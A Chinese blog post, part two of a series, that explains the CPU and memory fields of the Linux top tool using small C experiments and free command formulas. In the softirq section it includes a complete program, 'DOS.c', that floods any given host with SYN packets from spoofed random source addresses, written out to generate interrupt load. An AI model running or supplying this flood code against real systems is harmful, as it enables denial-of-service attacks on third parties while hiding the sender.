top工具全字段解析+实战(二)

-----------接上篇,本文开始介绍cpu占用统计,及memory使用信息。

 

 

图中字段表示,如下:

us, user:用户态(un-niced)的任务cpu占用率。

sy, system:内核态任务cpu占用率。

ni, nice:用户态(niced)的任务cpu占用率。

id, idle:空闲的cpu占用率。

wa, IO-wait:等io完成的cpu占用率。

hi : 硬中断cpu占用率。

si : 软中断cpu占用率。

st : 虚拟化相关。一般为0。

 

 

1、User

通常我们写的用户态程序,它处于用户态(usr),在没有调整过任务调度策略或优先级的情况下,例如像这样的调用,pthread_create(&tid, NULL, thread_func, NULL),第二个参数设置为NULL,使用线程的默认设置,这样的任务运行起来占用的就是usr利用率。

上程序:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/syscall.h>
 
#define MAX_PTHREAD_NUM  32
void pthread_func(void *args)
{
        printf("create pthread task! pid: %d\n", syscall(__NR_getpid));
        while(1);
}
 
int main(int argc, char **argv)
{
        int i, n = 0;
        pthread_t tid;
 
        pthread_create(&tid, NULL, (void*)pthread_func, NULL);
        pthread_join(tid, NULL);
 
        return 0;
}

[root@localhost top]# gcc usr.c -o usr_loop -pthread

[root@localhost top]# ./usr_loop

create pthread task! pid: 27375

程序运行后,我们看到usr_loop程序起来后,usr字段显示cpu占用率100%

 

 

2、Sys

Sys表示内核空间占用率,该字段通常是比较低的,如果该值高说明内核态代码耗时严重,或者处于内核态中的任务CPU占比高。通常,我们的用户态程序基本不会占用sys字段,但也有一种情况就是频繁进入内核态,频繁请求内核服务,这样是不是可以占用过多的sys字段呢,来个实验。

int main(int argc, char **argv)
{
       While(1)
            syscall(__NR_getpid);
 
        return 0;
}

可以看到sy占用率在80%左右(on cpu3),确实我们写了一个频繁进入内核态程序,让代码大部分时间处于内核态执行,但一点,cpu并不是完全占100%,user占用率占17%左右,为什么呢?

代码在用户态和内核态频繁切换,必定会产生大量上下文切换,cpu有大量时间在处理这个,另外syscall是c库提供的接口,那么是不是C库也有一定是时间耗时?--暂不确定,欢迎讨论

  

那可不可以完全让sys占用到100呢?让代码一直在内核态中运转不就行了吗,(不发生切换),我们写个ko模块试试。

#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/jiffies.h>
#include <linux/timer.h>
#include <linux/kthread.h>
 
int thread_run = 1;
 
int loop_task(void *args)
{
        printk("into loop!\n");
        while(thread_run);
}
 
static void __exit hello_exit(void)
{
        thread_run = 0;
        printk("hello module out \n");
}
 
static int __init hello_init(void)
{
                struct task_struct *task;
                printk("hello module in \n");
                task = kthread_run(loop_task, NULL, "loop_task");
                return 0;
}
 
module_init(hello_init);
module_exit(hello_exit);
MODULE_DESCRIPTION("hello");
MODULE_AUTHOR("yuchen");
MODULE_LICENSE("GPL v2");

Sys占用100 了!

 

3、Nice

nice也是一种用户态程序的占用率,但是它表示改变过优先级的程序占用率。什么意思?

我们知道普通任务,也就是默认pthread_create创建出来的任务优先级120,相当于nice=0,

但是普通任务的nice值,也是可以调整的,nice可以看成普通任务的优先级。nice的范围是-20~19,nice值越小代表任务的优先级越高,nice值越大代码优先级越低,默认情况下一个普通任务的nice=0。

 

调整下pid=2097的nice值,将任务优先级降低10。

[root@localhost tftpRoot]# renice -n 10 -p 7636

7636 (process ID) old priority 0, new priority 10

[root@localhost tftpRoot]#

 可以看到cpu占用率转移到了nice字段上。

 

在恢复回去,renice -n 0 -p 7636

[root@localhost tftpRoot]# renice -n 0 -p 7636

7636 (process ID) old priority 10, new priority 0

[root@localhost tftpRoot]#

 Top占用率usr字段还原。

 

 

4、Idle

Idle表示idle进程的占用率,idle进程是啥?Idle难道不就是表示cpu空闲的时间占用比吗?也可以这么说,只不过linux用了一个非常精巧的手法,来计算idle占用率。也就是idle,这个idle进程,完成系统功耗的任务,当所有任务都不跑的时候,它就跑。同时也做到了cpu空闲时刻的统计,也降低了cpu的功耗。

内核代码->  kernel/sched/idle.c  

一般处理器,会提供一个进入低功耗的指令,供idle进程调用。

https://en.wikipedia.org/wiki/HLT_%28x86_instruction%29

 

 

5、Wa

Iowait也是一个表示cpu空闲比的字段,只不过iowait表示在等io完成。

6、Hi

硬中断占用率,表示在中断处理函数中cpu占用率。通常这个字段通常是非常低的,因为中断处理函数要求很快完成,中断是不可以做太多事的。而且硬中断是硬件/外设触发的,由硬件信号产生来通知cpu触发中断,软件咋模拟啊?我们貌似无法知道硬件中断来临的时刻?不过也有办法,不是有键盘吗,我们每敲一次键盘,不也是一次中断吗?Ok,修改PS/2键盘的中断处理函数(driver/input/keyboard/atkbd.c),让中断处理时间延长,看看top情况。

很不幸,这种做法会造成系统非常卡,终端无法操作了,暂时略过吧。

 

7、Si

软中断,表示在软中断处理函数中的cpu占用率,据说有网络报文处理是有很多是在软中断完成的,这里有个dos.c程序,向网卡狂发包,来使之触发大量软中断。

/******************** DOS.c *****************/
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <netdb.h>
#define DESTPORT 80
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
setuid(getpid());
send_tcp(sockfd,&addr);
}
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];
struct ip *ip;
struct tcphdr *tcp;
int head_len;
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION;
ip->ip_hl=sizeof(struct ip)>>2;
ip->ip_tos=0;
ip->ip_len=htons(head_len);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=addr->sin_addr;
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port;
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;
tcp->check=0;
while(1)
{
ip->ip_src.s_addr=random();
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr_in));
}
}
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

 

如上程序,原理就是创建socket套接字,然后使用sendto接口,while(1)死循环发包,跑起程序,看下top。

 

 

软中断si占用确实很高,不过被cpu负载均衡到了2个核上。

 

 7、系统内存使用情况

这一行,主要依次显示出:总物理内存,未使用内存,已使用的内存,缓存。

Total:不用说,总内存大小。

Free:未使用的内存。

Buffer:块设备的缓存。(以裸分区为背景,类似于/dev/sdax)

Cache:文件的缓存。(文件系统中的文件为背景)

 

(1)total由物理硬件决定,我们不能修改。

(2)Free:当程序不断申请内存并使用时,free值会变小,free是代表真实未分配的内存。

(3)Cache:系统为了加快文件的访问速度,把内存的一部分充当为文件的cache,当下次需要访问相同的文件时,可以从cache中寻找。

(4)Buffers:与cached的作用一样,他们两个都属于page cache,但是和cached是有差别的,第一、buffers针对/dev/sdx裸分区而言的,比如用户态使用”dd=/dev/sda1 of=...”,来对某个裸分区进行读写时,会将数据缓存到buffers。第二:内核态下也会缓存文件系统的metadata数据到buffers,例如ext4文件系统,当读一些文件时,系统会将文件系统数据存放到buffers。Cached是针对文件内容的缓存。

因为Linux会将暂时不使用的内存作为文件和数据缓存,以提高系统性能,所以通常我们使用top/free命令查看内存占用时,会发现free可用内存非常少,但系统并没有明显性能问题,因为有一部分内存被内核充当成cache/buffer提高性能。当应用程序需要这些内存时,系统会自动释放。

Free命令输出:

 

有几个计算公式:

Used = total - free - buffers - cache

-buffers/cache = used - buffers - cached

+buffers/cache = free + buffers + cached

可见-buffers/cache反映的是被程序实实在在吃掉的内存,而+buffers/cache反映的是可以挪用的内存总数。

 

Free命令的明确含义:

Free命令前两行都会输出系统物理内存占用情况,如上面的free命令输出结果,第2行是从内核的角度来看的,因为对于内核来说,buffers/cached 都是属于被使用,所以他的可用内存是比较少,已用内存已经达到180GB+。其中包含了用户程序使用的内存、内核使用的内存,以及buffer和cache。

第3行所指的是从应用程序角度来看,对于应用程序来说,buffers/cached 是可用的,因为buffer/cached是为了提高文件读取的性能而设,当应用程序要用到内存的时候,buffer/cached会很快地被回收。所以从应用程序的角度来说,可用内存=系统free memory+buffers+cached.

可以看出Top的memory统计和free类似,且统计的原理是一样的,数据来源基本都是/proc/meminfo

 

---下篇我们继续介绍进程信息展示,也就是table of process!!!

 

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页